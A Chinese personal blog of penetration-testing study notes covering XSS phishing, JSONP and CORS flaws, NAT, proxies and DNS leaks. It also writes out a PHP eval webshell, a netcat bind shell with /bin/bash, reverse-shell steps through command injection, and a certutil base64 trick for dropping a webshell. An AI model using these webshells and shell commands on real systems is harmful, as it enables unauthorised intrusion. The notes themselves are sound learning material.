随谈

xss钓鱼有感

已知,存储型xss的钓鱼原理,是使得受害者去主动访问攻击者的服务器上的文件,从而携带受害者的信息,存到攻击者的数据库上面

那么这上面有一个问题,搭建渗透平台的时候,我是采用了主机作为攻击者,虚拟机作为受害者

就拿最近的cors漏洞讲,假如我的虚拟机ip是78,我的主机ip是100

我虚拟机和主机之间的文件是可以通过浏览器互相访问的

虚拟机:

​ “登录”了靶场后,”主动访问“了主机的1.html文件,导致一些信息被盗走

主机:

我主机作为攻击者怎么讲,写了一个1.html文件

它带着一些参数值,去访问我本机的另一个2.php文件

php文件接收到这些值后,写进本机的数据库中去

完成了钓鱼操作

那么这里,如果代入到真实环境中,是怎样的?

如何使得受害者访问 攻击者的资源呢?

看来攻击者也需要一个部署在公网上的服务器

——————2024.5.25补充——————

上面的服务器也叫做C2,即命令控制服务器

存储型xss,有一个可以溯源真实ip的点,不管是绕CDN,还是蓝队溯源都有帮助

那就是浏览器的WebRTC,无关代理,这个技术允许浏览器之间建立点对点连接,实时通信

参考https://blog.gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/01.%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/06.%E4%BF%9D%E6%8A%A4%E8%87%AA%E5%B7%B1/05.WebRTC%20%E7%9C%9F%E5%AE%9EIP%E6%B3%84%E9%9C%B2%E9%98%B2%E8%8C%83.html

跨域

当时和同学讨论外网内网问题,是在学习到跨域访问这一知识的时候想起来的

跨域,涉及到一个前置知识叫,同源策略,该策略,大意是指,当前网页呢,会通过js去加载外部资源,这个外部资源必须和当前网页的 来源同协议、同域名、同端口

如何跨域,除了已知的标签 script、iframe,等等

还有jsonp方式,cors方式

这里为了记忆深刻,再输出一下

jsonp,顾名思义,针对的是有json格式输出的跨域

jsonp的跨域原理,是基于回调函数,将json值通过函数处理输出出来的,它还特别用到了不受同源策略影响的script标签

缺点就是 只能通过GET获取,然后是基于回调函数

其漏洞呢,

1.就是说攻击者知道其调用函数,构造一个同名函数,但函数体可能是恶意的方法,比如location.href到攻击者的服务器

2.csrf,它这个漏洞在于,没有限定callback的函数名,让受害者在登录状态下触发,可能是超链接或其它方式,主动去访问攻击者预先写好的文件

防御呢,对函数名白名单啊,限制url长度啊等等

cors,跨域资源共享,怎么做的,需要用户所访问的后端文件有指明Allow-Origin,否则,浏览器是可以请求到,但是得不到服务器响应

其漏洞也是一个csrf,它的漏洞在于,没有对Allow-Origin限制复现过程比jsonp感觉要简单点,我主机去获取数据写进数据库的时候反正是成功了,jsonp的那个json值不好处理,容易为空

防御也是,指明允许的origin,白名单等

这里当时在纠结个什么事情呢,

我在主机的浏览器去访问虚拟机的靶场,比如我会 xxx.ip/Dorabox,然后就访问到了

这个为什么不算是跨域呢,首先跨域问题主要针对的是:

前端js请求外部资源问题才会发生

噢,我好像确实访问虚拟机的时候,都是php文件,貌似没有访问过html文件呢

这个行为就好像是 访问物理服务器上的文件,没有本质区别

当然从技术层面讲,涉及到 网络通信同源策略

比如http请求嘛,对吧,但访问自己的本地文件不需要,直接读取

!!!!主机和虚拟机是算作同一域名的,这个为什么,忘了,到时候再看看,标记一下

然后想说什么来着。。。

webshell工具

关于渗透这个东西

攻击者可以渗透的东西,拿网页来说

攻击者接触的第一个点就是web服务器,准确来说是部署在公网上的web前端

而这个web服务器,有一点不清楚,通过开发的前后端分离,

到底是前端后端都在同一个服务器呢,还是在两个不同服务器呢?

好像也没什么影响,就拿webshell来说

找到一个文件上传的点,就把小马啊送到了服务器上面,那使用工具就可以去连接上去

文件上传漏洞的前提哈:1.传的上去;2.文件会被解析;3.知道绝对路径

这个路径,可以通过字典遍历枚举得到

关于webshell工具为什么有这种效果

嘶,没考虑过

首先往后端php服务器放了个a.php

1
<?php @eval($_POST['pass']);?>

这个效果就是:用post方法接收变量pass,把变量pass里面的字符串当做php代码来执行

虚拟终端 其实也是调用系统命令 system 发送一次请求获取一次结果然后显示

!!!!!问题是为什么可以输入路径,加pass就可以得到webshell呢

解:无异于用bp在repeater模块的每一次post请求,如 system("ls"),这种简单交互

只不过websehll工具与之相比,建立了远程执行命令的通道,省略了system(),可以直接在虚拟终端使用 ls

传统的小马特征很明显,容易被检测到,后面都是搞不死马了,也即是内存马,无文件类型

!!!!!内存马

这篇文章有介绍:https://paper.seebug.org/3120/

渗透只要拿到web服务器的权限,想办法提权,拿到管理员权限,有域控去弄域控的

域名与ip

在做hack the box的时候,遇到一个题,我在/etc/hosts文件下添加如下信息

10.10.11.217 topology.htb #假如是普通页面

10.10.11.217 latex.topology.htb #假如是信息提交页面

10.10.11.217 dev.topology.htb #假如是登录页面

我用ip访问时,进入的是一个普通页面,也即是说,它是一个默认的页面

而已知,访问域名时就是在访问对应的ip,这三个域名的解析地址都是相同的,但为什么内容(呈现的页面)不一样?

针对上面的问题,假设是一个Apache http服务器,它的配置近似如下:

/etc/apache2/sites-available/下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<VirtualHost *:80>
ServerName topology.htb
DocumentRoot /var/www/topology
# 其他配置项
</VirtualHost>

<VirtualHost *:80>
ServerName latex.topology.htb
DocumentRoot /var/www/latex
# 其他配置项
</VirtualHost>

<VirtualHost *:80>
ServerName dev.topology.htb
DocumentRoot /var/www/dev
# 其他配置项
</VirtualHost>

根据域名来提供不同的网页内容

所以使用域名访问时,仍然解析成ip地址,且建立http连接,只不过host中携带了域名,所以web服务器根据这个Host字段,选择相应的主机配置,呈现不同内容!

ip地址与域名的关系:域名比起ip(特别是有多个ip)这种数字相对来说更容易记忆。

bp二层代理原理

首先,我仅限理论上的讨论,没有做出违法的事情!!!一切以知识学习为主!!

上游代理,为了隐藏真实公网ip。

为什么公网ip会显示非真实ip,达到隐藏目的?(当时讨论的好像不是这个呢?)

流量流程如下:

一般情况下,浏览器->服务器

有了bp,浏览器->bp->服务器,(就起一个拦截作用)

bp二层代理后,浏览器->bp->远程服务器->目标服务器,结果是会以远程服务器的公网ip去访问目标服务器

这个流程已经说明白了,是通过远程服务器去访问的目标服务器,那么目标服务器肯定是,谁访问它,就记录谁的ip。

所以为什么呢?我知道是这个流程,底层原理是什么?我只知道它实现了这个,它怎么实现的呢?

首先看,浏览器->bp->服务器

怎么理解,现在服务器的直接对象是谁,是bp,接收也好,返回响应也好,直接对象都是bp。这样说的话:

访问一个可以查询本机公网ip的网址时,为什么公网ip不是bp的地址,仍然是本机公网ip?

答:我们先看我们怎么操作的,先将代理设置为127.0.0.1:8080,然后再在bp上的 proxy Listeners 监听这个127.0.0.1:8080,用来监听、接收来自浏览器的http请求。

这就是本地监听了,意味着代理服务器运行在本地计算机上嘛。

这意味着,代理服务器并不会路由流量到外部网络,而是将流量留在本地计算机上,那么流出到互联网上的请求仍然会显示真实公网IP地址。

这里有个重要的点,bp作为软件,它起一个监听的作用,监听的是本地的8080端口。

好,在回答二层代理技术之前,先看一个流量路径:

浏览器->科学软件->?->服务器

怎么操作的?

答:将本机的代理设置为一个127.0.0.1:1234端口;这个科学软件和bp一样,监听了本机的1234端口;所以由浏览器发出的流量,被路由到了科学软件上,科学软件接收到流量后,(选择节点), 将其路由到远程服务器,流量最终离开本机网络,通过远程服务器到达目标机

这个过程,流量不是从浏览器直接发到目标机,目标机只会看到流量来自 科学软件或远程服务器的IP地址

如果科学软件里,你选择了个无效节点,那最终就没达到隐藏效果。

经过上面两个流量路径,我们总结一个共同点:

流量路由到本地计算机上的一个特定端口,这个特定端口是被软件监听到的

然后分析一下:

第一个路径,用来拦截;第二个路径用来隐藏。

二者侧重点不同。

那么作为一个贪心的人,能不能有一个 既要又要 的方法呢?

所以最后讨论bp的二层代理原理:

流量路径为:浏览器->bp->(科学软件)->远程服务器->目标服务器

这就清晰了。

浏览器->bp,正常的拦截

bp->(科学软件),bp再设置一个上游代理,这个代理将bp发出的请求转发到另一个端口上,然后有另一个软件监听到该端口流量,并接收

(科学软件)->节点,选择节点,嗯,懂?

节点->目标服务器,skr!

内网访问内网?!

再做一次回顾吧。

我们看下面的访问路径:

我的个人PC -> www.baidu.com

www.baidu.com -> 我的个人PC

这个就相当于:我ping百度可以,baidu能ping我吗?

我和百度不在同一个内网,但是它上线了,我可以ping到它;

但同时也暴露了我的公网ip,它能不能ping我?

我要求远在他乡的同学告诉我它的公网ip,并且,关闭防火墙。

防火墙,对于一个PC来讲,只管入站不管出站,怎么理解,孙悟空给师父画了一个圈,外人进不来,但不妨碍师父主动出去

下载命令

linux:wget,curl,java,python等

windows:powershell、certutil等

根据内置的下载命令,如果有一个漏洞是命令执行漏洞,那就可以通过该漏洞在目标机下载木马、反弹shell

反弹shell的正向连接、反向连接

已知PC A,和PC B(有防火墙)

A去监听一个端口,B通过端口去访问A(公网地址),A监听到了

对一个PC A来讲,它监听B的连接,这叫反向

A守株待兔,被动一方,对A来讲,这是一个反向连接

比如,攻击者发现目标机有防火墙,或者目标机在内网,或目标机ip动态变化时用

对一个PC B来讲,它主动通过端口访问A,这个行为,叫正向

B投怀送抱,主动一方,对B来讲,这是一个正向连接

比如,ssh、远程桌面连接,这叫正向连接

如果A有了防火墙,A监听一个端口,B通过这个端口访问A,B访问不了,A也监听不到了,因为A的入站规则屏蔽了B;

为什么要正向/反向连接?

定义一个C(客户端)和一个S(服务端),

所谓正向连接,该连接就是要将 S能看到的东西,我C要主动去看

所谓反向连接,该连接就是要将 S能看到的东西,我等着让S给我看

反正所谓正向/反向,是看你从A看,还是从B看;

对于攻击者来说,只要它是正向连接的发起者,是反向连接的接收者即可

弹shell的正向这个问题,其实这样理解,

如果S,nc -lvp 233 -e /bin/bash

而C,nc S的ip 233,那么C就获得了S的权限,如果没有nc工具,要么想办法让S下载一个,要么用 bash反弹

例子就是:pikachu靶场的命令执行漏洞

假设B有个这个漏洞,A可以访问B这个有漏洞的页面,对A来讲,步骤如下:

  1. 在B下载一个nc.exe
  2. 在A本机去监听一个端口
  3. 在B用这个nc去访问A的端口
  4. A监听到了B的shell

对A来讲这是个什么连接,反向哈。

常见隧道

网络层

icmp隧道,一般用icmpsh工具去代替ping命令

ipv6

gre

传输层

TCP协议,nc监听

端口转发,lcx工具(绕防火墙)

应用层

DNS隧道

总结

所以个人计算机还是要开启防火墙,即使公网ip泄露也较为安全

内网访问内网,都是去建立隧道,比如ssh,远程桌面连接啊,vpn、内网穿透之类的。

公网ip?!

PC之所以可以上网,是因为ISP给路由器一个公网ip,这个公网ip使得我们可以进入互联网。

那建站的时候,买个域名,云服务器肯定也分配了一个公网ip,这两个公网ip怎么说?

对于普通家庭来讲,ISP分配的公网ip是动态的,当你有联网需要才会给你从闲置的ip池中分配一个,不需要了就回收

ISP有静态的,但这个就用于商业或者专业用户了。

!!!自己用ISP分配的公网ip,自建了一个IIS服务器,且关闭了防火墙,为什么在自己的浏览器上访问该服务器时,无法访问?

:一般不会这样搞,首先关闭防火墙不安全;其次,普通用户的公网ip是动态分配的,不稳定。

首先思路要这样捋一下,给一个设置情形吧:

内网ip为192.168.1.49,我如果搭建了一个网站,域名叫hao123.com。去百度输入ip,回车,呈现出来的一个ip叫171.x.x.x;这个叫做外网出口,由于NAT协议的关系,可以使得一个内网下的多台电脑,共享同一个外网出口。如果要别人去访问网站怎么办:进到路由器的管理页面,有一个功能叫做端口映射,输入自己的内网ip,192.168.1.49,内网端口为80(可能不让用),外网端口为80,添加这种映射关系。

对于攻击者来讲:访问hao123.com,DNS解析的ip地址为171.x.x.x。实际上架设的web服务器在192.168.1.49下。那攻击者去扫描的是171.x.x.x的端口协议,真实网站是192.168.1.49,所以攻击者扫不到。攻击者就会知道,实际的网络架构应该是什么样子了。

补充:

有公网ip:登录路由器后台进行端口映射

无公网ip:内网穿透工具去将内网端口映射到公网上,通过公网访问内网 (常用,不需要公网ip)

输入url并回车的过程

首先可以引入一个渲染

  1. 浏览器访问html文件,并发送请求
  2. 浏览器从头开始返回html文件,构建dom,遇到link标签,则返回css文件,去构建cssom
  3. 解析css文件的同时,继续解析html文件,遇到script标签,去下载js文件
  4. **仅当cssom构建完毕,执行js ;但此时html解析会停止(如果对js请求声明了异步则不会阻塞)**,因为js会阻塞html解析(表面现象可以这样想,因为js是可以操作dom和css的)
  5. js执行完之前什么内容都没有,执行完之后,且DOM构建完后,会形成渲染树
  6. 布局,获取渲染树的结构、节点位置和大小,就是对盒子的排列和嵌套
  7. 绘制,将渲染树以像素形式绘制在页面

dom可以部分解析,cssom不能部分解析,一个例子可以说明

1
2
3
4
5
6
body {
font-size:32px;
}
body div{
font-size:16px;
}

如果css部分解析,只解析了32px的,那就乱套了

参考:B站技术蛋老师

对于整体的过程而言,要从浏览器与目标机开始,这个有些细节我老忘:

  1. 对路由器来讲,它怎么将公网ip转化为对应的私有ip呢?它怎么知道是哪个私有ip(假设有多个)呢?
  2. 从请求端的路由器将请求发到互联网,再到服务器路由器的过程?
  3. 应用层干了什么事?
  4. 互联网中的路由器之间的包只改变了MAC吗
1
2
3
4
5
6
7
8
9
10
我先回顾一下:
1.我在浏览器输入一个example.com并回车
2.浏览器去域名解析为对应ip
(查找顺序:本地DNS缓存->hosts文件->本地DNS服务器(比如8.8.8.8/114.114.114.114)->根.->顶级.->权威)
DNS具体起的作用,以四层模型为例
应用层:由DNS去生成一个请求,类似于"告诉我example.com的ip" ->
传输层:源端口+目的端口封装头部
网络层:源ip+目的ip(8.8.8.8)封装头部
它找不到这个8.8.8.8,就去找网关,即路由器的ip,192.168.1.1
网际层:数据链路层去头部添加源MAC+网关MAC(ARP协议),后面也会封装一些校验值;物理层就通过网卡发送这个数据包

不行,还是要画个图

图示

上面的数据包已经发到交换机了,交换机就两层

数据链路层

物理层

流程为物理层->数据链路层,根据MAC地址,是找到了路由器MAC地址为CC的端口

路由器三层

网络层

数据链路层

物理层

流量路径1:物理层->数据链路层(认出了CC是自己的MAC,去掉)->网络层(8.8.8.8不认识),去发到互联网上(WAN口),NAT转化一下源ip,源端口也随机改变,保留映射关系

流量路径2:数据链路层添加源MAC:DD 和下一条路由器的MAC

互联网上的路由器之间重复上述操作,最终找到了DNS服务器,从下往上解封装,服务器处理这个请求,给个响应告诉对应IP,然后从上往下封装,之后就是一个往回传的过程了

1
2
3
4
5
6
7
8
9
10
3.发送请求(把example.com的页面给我)
应用层封装这个请求->
传输层(源端口,目的端口,tcp传输)->
网络层(源ip:192.168.1.4,目的ip:2.2.2.2)->
网际层(源MAC、目的MAC)->
传输到路由器(路由器知道有访问互联网的请求,问运营商服务器要公网ip,进行一次NAT转换,源ip变为:3.3.3.3),源端口改变,保留映射关系
4.该数据包发到互联网,互联网有很多路由器,直到目标机路由器接收到该报文
5.目标机路由器将目的ip进行NAT,目的ip变为10.10.1.2
6.解封装过程:网际层->网络层->传输层->应用层->返回
7.封装,然后往回传

参考:ytb的不良林

关于前端文件信息讨论

2024/4/14

自己部署jeecgboot这项开源项目的时候,f12,发现泄露了很多js文件,其中包括了敏感接口路径之类的。

嘶,那我在平时遇见的同框架网站怎么就没有那些信息呢?

ip相关

已知一台vps有一个公网IP,那么能否拥有多个公网IP?

可以加钱,如果绑几百的之类的,那要依靠BGP(边界网关协议)

BGP,让不同AS(自治域)之间传递路由信息

ASN(自治号),就是查ip的时候我们看到的:

(中国电信)asn4134、(中国联通)asn4837

办了谁的宽带就有了谁的ip,这个ip分属于这个asn

那我电信的和联通的要一起通信怎么办,这两个不同的AS,相当于两个不同的“局域网”,BGP就负责这个

由于呢,vps节点过于廉价,导致滥用,微步等情报平台都记录了类似有攻击行为的ip

那么有没有一种可能,可以自己申请asn(可以不买,租用ip时会提供),给自己分配ip,再通过BGP接入其它AS呢,可以,但asn注册、ip租用要钱,这里不考虑,后面还要用IP transit,用于BGP广播

总之通过http://ipinfo.io,可以查看到ip归属地

一般的说法都是:如果真实的机房位置和IP归属地在同一地区,就叫做原生IP;反之广播IP

参考:不lianglin

DNS泄露

https://ipleak.net/ 检测网站

相当于DNS请求发送给了真实IP所属的ISP(运营商)DNS,这样的话,你访问了什么,是被记录到的

当网站检测不到DNS泄露时,尝试访问google浏览器时,wireshark抓包,过滤dns,看是否发送给了ISP的DNS的包

https://bulianglin.com/archives/dns.html#google_vignette

参考:不lianglin

站库分离

一般sql注入时,尝试输入一定存在的表段,如果回显不正常,说明站库分离

certutil

一般是下载证书的命令,但是呢,被滥用于恶意下载,除了下载,它还可以加解密,所以这里存在一个利用方式

曾哥博客的案例是这样的

首先是可以命令执行,为了getshell就可以这样子

1
2
3
echo MTw/cGhwIGV2YWwoJF9QT1NUWyJhYWJ5c3MiXSk7ICA/PjEy > "base64.txt"
certutil -f -decode "base64.txt" "webshell.txt"
copy webshell.txt webshell.php

这里之所以将一句话木马编码,是有以下情况:

1
2
3
4
5
6
7
8
9
在windows下:
echo <?php eval($_POST["aabyss"]);?> > "webshell.php"
这种& | > < +符号对于echo语句来将报错

曾哥想到
echo ^<?php ?>" > "webshell.php"
但是文件里多了双引号,所以考虑base64编码,但是编码里有+,也不能写,所以最终
13123<?php eval($_POST["aabyss"]);?>123123 再编码(直到没有+为止)
也是一种不错的bypass技巧!

https://blog.zgsec.cn/archives/97.html

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信